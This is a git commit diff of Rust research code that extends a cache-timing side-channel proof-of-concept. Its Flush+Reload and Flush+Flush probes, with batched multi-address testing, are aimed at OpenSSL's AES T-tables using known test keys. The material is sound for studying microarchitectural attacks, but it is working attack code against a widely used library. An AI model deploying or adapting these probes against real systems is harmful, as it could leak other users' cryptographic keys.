Functional multi address version
This commit is contained in:
parent
61189da4ed
commit
2ea505ca2c
@ -8,6 +8,8 @@ use crate::CacheStatus::Miss;
|
|||||||
use memmap2::Mmap;
|
use memmap2::Mmap;
|
||||||
use openssl::aes::aes_ige;
|
use openssl::aes::aes_ige;
|
||||||
use openssl::symm::Mode;
|
use openssl::symm::Mode;
|
||||||
|
use rand::seq::SliceRandom;
|
||||||
|
use rand::thread_rng;
|
||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
use std::fmt::Debug;
|
use std::fmt::Debug;
|
||||||
use std::fs::File;
|
use std::fs::File;
|
||||||
@ -93,9 +95,9 @@ pub trait TableCacheSideChannel {
|
|||||||
/// # Safety
|
/// # Safety
|
||||||
///
|
///
|
||||||
/// addresses must contain only valid pointers to read.
|
/// addresses must contain only valid pointers to read.
|
||||||
unsafe fn attack<'a, 'b>(
|
unsafe fn attack<'a, 'b, 'c>(
|
||||||
&'a mut self,
|
&'a mut self,
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
||||||
victim: &'b dyn Fn(),
|
victim: &'b dyn Fn(),
|
||||||
num_iteration: u32,
|
num_iteration: u32,
|
||||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError>;
|
) -> Result<Vec<TableAttackResult>, ChannelFatalError>;
|
||||||
@ -122,22 +124,21 @@ pub trait SingleAddrCacheSideChannel: Debug {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub trait MultipleAddrCacheSideChannel: Debug {
|
pub trait MultipleAddrCacheSideChannel: Debug {
|
||||||
//type MultipleChannelFatalError: Debug;
|
const MAX_ADDR: u32;
|
||||||
|
|
||||||
/// # Safety
|
/// # Safety
|
||||||
///
|
///
|
||||||
/// addresses must contain only valid pointers to read.
|
/// addresses must contain only valid pointers to read.
|
||||||
unsafe fn test(
|
unsafe fn test<'a, 'b, 'c>(
|
||||||
&mut self,
|
&'a mut self,
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>;
|
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>;
|
||||||
|
|
||||||
/// # Safety
|
/// # Safety
|
||||||
///
|
///
|
||||||
/// addresses must contain only valid pointers to read.
|
/// addresses must contain only valid pointers to read.
|
||||||
unsafe fn prepare(
|
unsafe fn prepare<'a, 'b, 'c>(
|
||||||
&mut self,
|
&'a mut self,
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
) -> Result<(), SideChannelError>;
|
) -> Result<(), SideChannelError>;
|
||||||
fn victim(&mut self, operation: &dyn Fn());
|
fn victim(&mut self, operation: &dyn Fn());
|
||||||
|
|
||||||
@ -159,9 +160,9 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|||||||
}
|
}
|
||||||
//type ChannelFatalError = T::SingleChannelFatalError;
|
//type ChannelFatalError = T::SingleChannelFatalError;
|
||||||
|
|
||||||
default unsafe fn attack<'a, 'b>(
|
default unsafe fn attack<'a, 'b, 'c>(
|
||||||
&'a mut self,
|
&'a mut self,
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
||||||
victim: &'b dyn Fn(),
|
victim: &'b dyn Fn(),
|
||||||
num_iteration: u32,
|
num_iteration: u32,
|
||||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
||||||
@ -171,7 +172,7 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|||||||
let mut hit = 0;
|
let mut hit = 0;
|
||||||
let mut miss = 0;
|
let mut miss = 0;
|
||||||
for iteration in 0..100 {
|
for iteration in 0..100 {
|
||||||
match unsafe { self.prepare_single(addr) } {
|
match unsafe { self.prepare_single(*addr) } {
|
||||||
Ok(_) => {}
|
Ok(_) => {}
|
||||||
Err(e) => match e {
|
Err(e) => match e {
|
||||||
SideChannelError::NeedRecalibration => unimplemented!(),
|
SideChannelError::NeedRecalibration => unimplemented!(),
|
||||||
@ -181,7 +182,7 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
self.victim_single(victim);
|
self.victim_single(victim);
|
||||||
let r = unsafe { self.test_single(addr) };
|
let r = unsafe { self.test_single(*addr) };
|
||||||
match r {
|
match r {
|
||||||
Ok(status) => {}
|
Ok(status) => {}
|
||||||
Err(e) => match e {
|
Err(e) => match e {
|
||||||
@ -194,7 +195,7 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
for _iteration in 0..num_iteration {
|
for _iteration in 0..num_iteration {
|
||||||
match unsafe { self.prepare_single(addr) } {
|
match unsafe { self.prepare_single(*addr) } {
|
||||||
Ok(_) => {}
|
Ok(_) => {}
|
||||||
Err(e) => match e {
|
Err(e) => match e {
|
||||||
SideChannelError::NeedRecalibration => unimplemented!(),
|
SideChannelError::NeedRecalibration => unimplemented!(),
|
||||||
@ -204,7 +205,7 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
self.victim_single(victim);
|
self.victim_single(victim);
|
||||||
let r = unsafe { self.test_single(addr) };
|
let r = unsafe { self.test_single(*addr) };
|
||||||
match r {
|
match r {
|
||||||
Ok(status) => match status {
|
Ok(status) => match status {
|
||||||
CacheStatus::Hit => {
|
CacheStatus::Hit => {
|
||||||
@ -223,7 +224,11 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
result.push(TableAttackResult { addr, hit, miss });
|
result.push(TableAttackResult {
|
||||||
|
addr: *addr,
|
||||||
|
hit,
|
||||||
|
miss,
|
||||||
|
});
|
||||||
}
|
}
|
||||||
Ok(result)
|
Ok(result)
|
||||||
}
|
}
|
||||||
@ -234,12 +239,12 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|||||||
impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
|
impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
|
||||||
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
|
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
|
||||||
let addresses = vec![addr];
|
let addresses = vec![addr];
|
||||||
unsafe { self.test(addresses) }.map(|v| v[0].1)
|
unsafe { self.test(&mut addresses.iter()) }.map(|v| v[0].1)
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
|
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
|
||||||
let addresses = vec![addr];
|
let addresses = vec![addr];
|
||||||
unsafe { self.prepare(addresses) }
|
unsafe { self.prepare(&mut addresses.iter()) }
|
||||||
}
|
}
|
||||||
|
|
||||||
fn victim_single(&mut self, operation: &dyn Fn()) {
|
fn victim_single(&mut self, operation: &dyn Fn()) {
|
||||||
@ -255,49 +260,99 @@ impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// TODO limit number of simultaneous tested address + randomise order ?
|
// TODO limit number of simultaneous tested address + randomise order ?
|
||||||
/*
|
|
||||||
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
|
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||||
unsafe fn calibrate(
|
unsafe fn calibrate(
|
||||||
&mut self,
|
&mut self,
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
) -> Result<(), ChannelFatalError> {
|
) -> Result<(), ChannelFatalError> {
|
||||||
unsafe { s.calibrate(addresses) }
|
unsafe { self.calibrate(addresses) }
|
||||||
}
|
}
|
||||||
//type ChannelFatalError = T::MultipleChannelFatalError;
|
//type ChannelFatalError = T::MultipleChannelFatalError;
|
||||||
|
|
||||||
/// # Safety
|
/// # Safety
|
||||||
///
|
///
|
||||||
/// addresses must contain only valid pointers to read.
|
/// addresses must contain only valid pointers to read.
|
||||||
unsafe fn attack<'a, 'b>(
|
unsafe fn attack<'a, 'b, 'c>(
|
||||||
&'a mut self,
|
&'a mut self,
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
mut addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
||||||
victim: &'b dyn Fn(),
|
victim: &'b dyn Fn(),
|
||||||
num_iteration: u32,
|
num_iteration: u32,
|
||||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
||||||
match unsafe { MultipleAddrCacheSideChannel::prepare(self, addresses.clone()) } {
|
let mut v = Vec::new();
|
||||||
|
while let Some(addr) = addresses.next() {
|
||||||
|
let mut batch = Vec::new();
|
||||||
|
batch.push(*addr);
|
||||||
|
let mut hits: HashMap<*const u8, u32> = HashMap::new();
|
||||||
|
let mut misses: HashMap<*const u8, u32> = HashMap::new();
|
||||||
|
for i in 1..T::MAX_ADDR {
|
||||||
|
if let Some(addr) = addresses.next() {
|
||||||
|
batch.push(*addr);
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for i in 0..100 {
|
||||||
|
// TODO Warmup
|
||||||
|
}
|
||||||
|
for i in 0..num_iteration {
|
||||||
|
match unsafe { MultipleAddrCacheSideChannel::prepare(self, &mut batch.iter()) } {
|
||||||
Ok(_) => {}
|
Ok(_) => {}
|
||||||
Err(e) => match e {
|
Err(e) => match e {
|
||||||
SideChannelError::NeedRecalibration => unimplemented!(),
|
SideChannelError::NeedRecalibration => unimplemented!(),
|
||||||
SideChannelError::FatalError(e) => return Err(e),
|
SideChannelError::FatalError(e) => return Err(e),
|
||||||
SideChannelError::AddressNotReady(_addr) => panic!(),
|
SideChannelError::AddressNotReady(_addr) => panic!(),
|
||||||
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
|
SideChannelError::AddressNotCalibrated(addr) => {
|
||||||
|
eprintln!(
|
||||||
|
"Addr: {:p}\n\
|
||||||
|
{:#?}",
|
||||||
|
addr, self
|
||||||
|
);
|
||||||
|
unimplemented!()
|
||||||
|
}
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
MultipleAddrCacheSideChannel::victim(self, victim);
|
MultipleAddrCacheSideChannel::victim(self, victim);
|
||||||
|
|
||||||
let r = unsafe { MultipleAddrCacheSideChannel::test(self, addresses) }; // Fixme error handling
|
let r = unsafe { MultipleAddrCacheSideChannel::test(self, &mut batch.iter()) }; // Fixme error handling
|
||||||
match r {
|
match r {
|
||||||
Err(e) => match e {
|
Err(e) => match e {
|
||||||
SideChannelError::NeedRecalibration => {
|
SideChannelError::NeedRecalibration => {
|
||||||
panic!();
|
panic!();
|
||||||
}
|
}
|
||||||
SideChannelError::FatalError(e) => Err(e),
|
SideChannelError::FatalError(e) => {
|
||||||
_ => panic!(),
|
return Err(e);
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
},
|
},
|
||||||
Ok(v) => Ok(v),
|
Ok(vector) => {
|
||||||
|
for (addr, status) in vector {
|
||||||
|
match status {
|
||||||
|
CacheStatus::Hit => {
|
||||||
|
*hits.entry(addr).or_default() += 1;
|
||||||
|
}
|
||||||
|
CacheStatus::Miss => {
|
||||||
|
*misses.entry(addr).or_default() += 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}*/
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for addr in batch {
|
||||||
|
v.push(TableAttackResult {
|
||||||
|
addr,
|
||||||
|
hit: *hits.get(&addr).unwrap_or(&0u32),
|
||||||
|
miss: *misses.get(&addr).unwrap_or(&0u32),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub struct AESTTableParams<'a> {
|
pub struct AESTTableParams<'a> {
|
||||||
pub num_encryptions: u32,
|
pub num_encryptions: u32,
|
||||||
@ -333,21 +388,24 @@ pub unsafe fn attack_t_tables_poc(
|
|||||||
|
|
||||||
let mut timings: HashMap<*const u8, HashMap<u8, u32>> = HashMap::new();
|
let mut timings: HashMap<*const u8, HashMap<u8, u32>> = HashMap::new();
|
||||||
|
|
||||||
let addresses = parameters
|
let mut addresses: Vec<*const u8> = parameters
|
||||||
.te
|
.te
|
||||||
.iter()
|
.iter()
|
||||||
.map(|&start| ((start)..(start + 64 * 16)).step_by(64))
|
.map(|&start| ((start)..(start + 64 * 16)).step_by(64))
|
||||||
.flatten()
|
.flatten()
|
||||||
.map(|offset| unsafe { base.offset(offset) });
|
.map(|offset| unsafe { base.offset(offset) })
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
addresses.shuffle(&mut thread_rng());
|
||||||
|
|
||||||
unsafe { side_channel.calibrate(addresses.clone()).unwrap() };
|
unsafe { side_channel.calibrate(addresses.clone()).unwrap() };
|
||||||
|
|
||||||
for addr in addresses.clone() {
|
for addr in addresses.iter() {
|
||||||
let mut timing = HashMap::new();
|
let mut timing = HashMap::new();
|
||||||
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
||||||
timing.insert(b, 0);
|
timing.insert(b, 0);
|
||||||
}
|
}
|
||||||
timings.insert(addr, timing);
|
timings.insert(*addr, timing);
|
||||||
}
|
}
|
||||||
|
|
||||||
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
||||||
@ -367,7 +425,7 @@ pub unsafe fn attack_t_tables_poc(
|
|||||||
};
|
};
|
||||||
|
|
||||||
let r =
|
let r =
|
||||||
unsafe { side_channel.attack(addresses.clone(), &victim, parameters.num_encryptions) };
|
unsafe { side_channel.attack(addresses.iter(), &victim, parameters.num_encryptions) };
|
||||||
match r {
|
match r {
|
||||||
Ok(v) => {
|
Ok(v) => {
|
||||||
for table_attack_result in v {
|
for table_attack_result in v {
|
||||||
@ -381,6 +439,7 @@ pub unsafe fn attack_t_tables_poc(
|
|||||||
Err(_) => panic!("Attack failed"),
|
Err(_) => panic!("Attack failed"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
addresses.sort();
|
||||||
for probe in addresses {
|
for probe in addresses {
|
||||||
print!("{:p}", probe);
|
print!("{:p}", probe);
|
||||||
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
||||||
|
@ -23,7 +23,8 @@ use cache_utils::complex_addressing::CacheSlicing;
|
|||||||
use core::fmt;
|
use core::fmt;
|
||||||
use nix::sched::{sched_getaffinity, sched_setaffinity, CpuSet};
|
use nix::sched::{sched_getaffinity, sched_setaffinity, CpuSet};
|
||||||
use nix::unistd::Pid;
|
use nix::unistd::Pid;
|
||||||
use std::fmt::{Debug, Formatter}; // TODO
|
use std::fmt::{Debug, Formatter};
|
||||||
|
use std::i8::MAX; // TODO
|
||||||
|
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
struct Threshold {
|
struct Threshold {
|
||||||
@ -42,6 +43,37 @@ struct FlushAndFlush {
|
|||||||
thresholds: HashMap<VPN, HashMap<Slice, Threshold>>,
|
thresholds: HashMap<VPN, HashMap<Slice, Threshold>>,
|
||||||
addresses_ready: HashSet<*const u8>,
|
addresses_ready: HashSet<*const u8>,
|
||||||
slicing: CacheSlicing,
|
slicing: CacheSlicing,
|
||||||
|
original_affinities: CpuSet,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
struct SingleFlushAndFlush(FlushAndFlush);
|
||||||
|
|
||||||
|
impl SingleFlushAndFlush {
|
||||||
|
pub fn new() -> Option<Self> {
|
||||||
|
FlushAndFlush::new().map(|ff| SingleFlushAndFlush(ff))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SingleAddrCacheSideChannel for SingleFlushAndFlush {
|
||||||
|
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
|
||||||
|
unsafe { self.0.test_single(addr) }
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
|
||||||
|
unsafe { self.0.prepare_single(addr) }
|
||||||
|
}
|
||||||
|
|
||||||
|
fn victim_single(&mut self, operation: &dyn Fn()) {
|
||||||
|
self.0.victim_single(operation)
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn calibrate_single(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError> {
|
||||||
|
unsafe { self.0.calibrate_single(addresses) }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Current issue : hash function trips borrow checker.
|
// Current issue : hash function trips borrow checker.
|
||||||
@ -54,10 +86,13 @@ impl FlushAndFlush {
|
|||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let old = sched_getaffinity(Pid::from_raw(0)).unwrap();
|
||||||
|
|
||||||
let ret = Self {
|
let ret = Self {
|
||||||
thresholds: Default::default(),
|
thresholds: Default::default(),
|
||||||
addresses_ready: Default::default(),
|
addresses_ready: Default::default(),
|
||||||
slicing,
|
slicing,
|
||||||
|
original_affinities: old,
|
||||||
};
|
};
|
||||||
Some(ret)
|
Some(ret)
|
||||||
} else {
|
} else {
|
||||||
@ -70,6 +105,12 @@ impl FlushAndFlush {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
impl Drop for FlushAndFlush {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
sched_setaffinity(Pid::from_raw(0), &self.original_affinities).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
impl Debug for FlushAndFlush {
|
impl Debug for FlushAndFlush {
|
||||||
fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
|
fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
|
||||||
f.debug_struct("FlushAndFlush")
|
f.debug_struct("FlushAndFlush")
|
||||||
@ -99,51 +140,69 @@ fn cum_sum(vector: &[u32]) -> Vec<u32> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl MultipleAddrCacheSideChannel for FlushAndFlush {
|
impl MultipleAddrCacheSideChannel for FlushAndFlush {
|
||||||
unsafe fn test(
|
const MAX_ADDR: u32 = 3;
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
unsafe fn test<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError> {
|
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError> {
|
||||||
let mut result = Vec::new();
|
let mut result = Vec::new();
|
||||||
let mut tmp = Vec::new();
|
let mut tmp = Vec::new();
|
||||||
|
let mut i = 0;
|
||||||
for addr in addresses {
|
for addr in addresses {
|
||||||
let t = unsafe { only_flush(addr) };
|
i += 1;
|
||||||
|
let t = unsafe { only_flush(*addr) };
|
||||||
tmp.push((addr, t));
|
tmp.push((addr, t));
|
||||||
|
if i == Self::MAX_ADDR {
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
for (addr, time) in tmp {
|
for (addr, time) in tmp {
|
||||||
if !self.addresses_ready.contains(&addr) {
|
if !self.addresses_ready.contains(&addr) {
|
||||||
return Err(AddressNotReady(addr));
|
return Err(AddressNotReady(*addr));
|
||||||
}
|
}
|
||||||
let vpn: VPN = (addr as usize) & (!0xfff); // FIXME
|
let vpn: VPN = (*addr as usize) & (!0xfff); // FIXME
|
||||||
let slice = self.get_slice(addr);
|
let slice = self.get_slice(*addr);
|
||||||
let threshold = &self.thresholds[&vpn][&slice];
|
let threshold = &self.thresholds[&vpn][&slice];
|
||||||
// refactor this into a struct threshold method ?
|
// refactor this into a struct threshold method ?
|
||||||
if threshold.is_hit(time) {
|
if threshold.is_hit(time) {
|
||||||
result.push((addr, CacheStatus::Hit))
|
result.push((*addr, CacheStatus::Hit))
|
||||||
} else {
|
} else {
|
||||||
result.push((addr, CacheStatus::Miss))
|
result.push((*addr, CacheStatus::Miss))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Ok(result)
|
Ok(result)
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn prepare(
|
unsafe fn prepare<'a, 'b, 'c>(
|
||||||
&mut self,
|
&'a mut self,
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
) -> Result<(), SideChannelError> {
|
) -> Result<(), SideChannelError> {
|
||||||
use core::arch::x86_64 as arch_x86;
|
use core::arch::x86_64 as arch_x86;
|
||||||
for addr in addresses.clone() {
|
let mut i = 0;
|
||||||
let vpn: VPN = get_vpn(addr);
|
let addresses_cloned = addresses.clone();
|
||||||
let slice = self.get_slice(addr);
|
for addr in addresses_cloned {
|
||||||
|
i += 1;
|
||||||
|
let vpn: VPN = get_vpn(*addr);
|
||||||
|
let slice = self.get_slice(*addr);
|
||||||
if self.addresses_ready.contains(&addr) {
|
if self.addresses_ready.contains(&addr) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
if !self.thresholds.contains_key(&vpn) || !self.thresholds[&vpn].contains_key(&slice) {
|
if !self.thresholds.contains_key(&vpn) || !self.thresholds[&vpn].contains_key(&slice) {
|
||||||
return Err(AddressNotCalibrated(addr));
|
return Err(AddressNotCalibrated(*addr));
|
||||||
|
}
|
||||||
|
if i == Self::MAX_ADDR {
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
i = 0;
|
||||||
for addr in addresses {
|
for addr in addresses {
|
||||||
unsafe { flush(addr) };
|
i += 1;
|
||||||
self.addresses_ready.insert(addr);
|
unsafe { flush(*addr) };
|
||||||
|
self.addresses_ready.insert(*addr);
|
||||||
|
if i == Self::MAX_ADDR {
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
unsafe { arch_x86::_mm_mfence() };
|
unsafe { arch_x86::_mm_mfence() };
|
||||||
Ok(())
|
Ok(())
|
||||||
@ -383,6 +442,11 @@ impl MultipleAddrCacheSideChannel for FlushAndFlush {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const KEY2: [u8; 32] = [
|
||||||
|
0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc,
|
||||||
|
0x4f, 0x6e, 0x9c, 0x2a, 0x15, 0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80,
|
||||||
|
];
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so");
|
let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so");
|
||||||
let mut side_channel = NaiveFlushAndReload::from_threshold(220);
|
let mut side_channel = NaiveFlushAndReload::from_threshold(220);
|
||||||
@ -390,36 +454,50 @@ fn main() {
|
|||||||
attack_t_tables_poc(
|
attack_t_tables_poc(
|
||||||
&mut side_channel,
|
&mut side_channel,
|
||||||
AESTTableParams {
|
AESTTableParams {
|
||||||
num_encryptions: 1 << 14,
|
num_encryptions: 1 << 12,
|
||||||
key: [0; 32],
|
key: [0; 32],
|
||||||
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
||||||
openssl_path: &open_sslpath,
|
openssl_path: &open_sslpath,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
}; /**/
|
}; /**/
|
||||||
|
unsafe {
|
||||||
|
attack_t_tables_poc(
|
||||||
|
&mut side_channel,
|
||||||
|
AESTTableParams {
|
||||||
|
num_encryptions: 1 << 12,
|
||||||
|
key: KEY2,
|
||||||
|
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
||||||
|
openssl_path: &open_sslpath,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
};
|
||||||
|
{
|
||||||
let mut side_channel_ff = FlushAndFlush::new().unwrap();
|
let mut side_channel_ff = FlushAndFlush::new().unwrap();
|
||||||
unsafe {
|
unsafe {
|
||||||
attack_t_tables_poc(
|
attack_t_tables_poc(
|
||||||
&mut side_channel_ff,
|
&mut side_channel_ff,
|
||||||
AESTTableParams {
|
AESTTableParams {
|
||||||
num_encryptions: 1 << 15,
|
num_encryptions: 1 << 12,
|
||||||
key: [0; 32],
|
key: [0; 32],
|
||||||
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
||||||
openssl_path: &open_sslpath,
|
openssl_path: &open_sslpath,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
};
|
};
|
||||||
/*
|
}
|
||||||
|
{
|
||||||
let mut side_channel_ff = SingleFlushAndFlush::new().unwrap();
|
let mut side_channel_ff = SingleFlushAndFlush::new().unwrap();
|
||||||
unsafe {
|
unsafe {
|
||||||
attack_t_tables_poc(
|
attack_t_tables_poc(
|
||||||
&mut side_channel_ff,
|
&mut side_channel_ff,
|
||||||
AESTTableParams {
|
AESTTableParams {
|
||||||
num_encryptions: 1 << 15,
|
num_encryptions: 1 << 12,
|
||||||
key: [0; 32],
|
key: KEY2,
|
||||||
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
||||||
openssl_path: &open_sslpath,
|
openssl_path: &open_sslpath,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
};*/
|
};
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user